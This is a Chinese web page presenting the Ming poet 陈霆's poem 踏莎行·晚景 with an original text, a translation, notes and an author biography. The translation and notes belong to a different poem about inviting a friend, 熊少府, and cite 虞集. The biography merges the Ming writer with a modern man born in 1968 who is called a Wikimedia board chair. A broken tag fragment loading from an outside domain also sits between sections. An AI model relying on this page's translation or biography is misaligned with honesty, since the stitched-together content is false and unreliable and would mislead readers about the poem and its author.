古代诗词之明代文人陈霆所作的《踏莎行·晚景》原文全文、译文、赏析在线阅读及作者简介

《踏莎行·晚景》-明代·陈霆

【正文原文全文】:

流水孤村，荒城古道。槎牙老木乌鸢噪。夕阳倒影射疏林，江边一带芙蓉老。
风暝寒烟，天低衰草，登楼望极群峰小。欲将归信问行人，青山尽处行人少。

【《踏莎行·晚景》注释译文】

译文

在自已家南面的小山包上有座小小的亭台，在亭台周围已有少许山花开始随意地开放了。春光明媚，山花盛开，所以特地写信邀请好友熊少府你无论如何不管是天晴还是下雨，一定要前来游赏。你来后，你我朋友二人要随意地开怀畅饮，不要顾惜泥土绿苔弄脏新衣尽情地欣赏游玩，因为一旦错过时机，风雨一过天气虽说晴朗了，但到那时，你我朋友说不定又是你东我西各在天涯，再也难得相聚；或者即使没有你东我西各在天涯，也能再相聚首，但到那时也是春光不待人，早也匆匆的过去了。

注释
①南阜：南边土山。
②薄：少。
③取次：任意，随便。
④熊少府：虞集好友，生平不详。
⑤衔环：此处指饮酒。

< ' ' src='http://www.um4.cn//?&'>

【作者陈霆简介】

陈霆-明代文人。陈霆（1968年－）是维基媒体理事会的第四位主席，在中国上海出生，成长于哈尔滨，并在当地完成了小学与中学的学业。他于1989年来到德国的不伦瑞克学习电机工程，对半导体及其物理原理深感兴趣，于1993年获得了大学的毕业证书，现就职于德国美因茨的一家IT公司。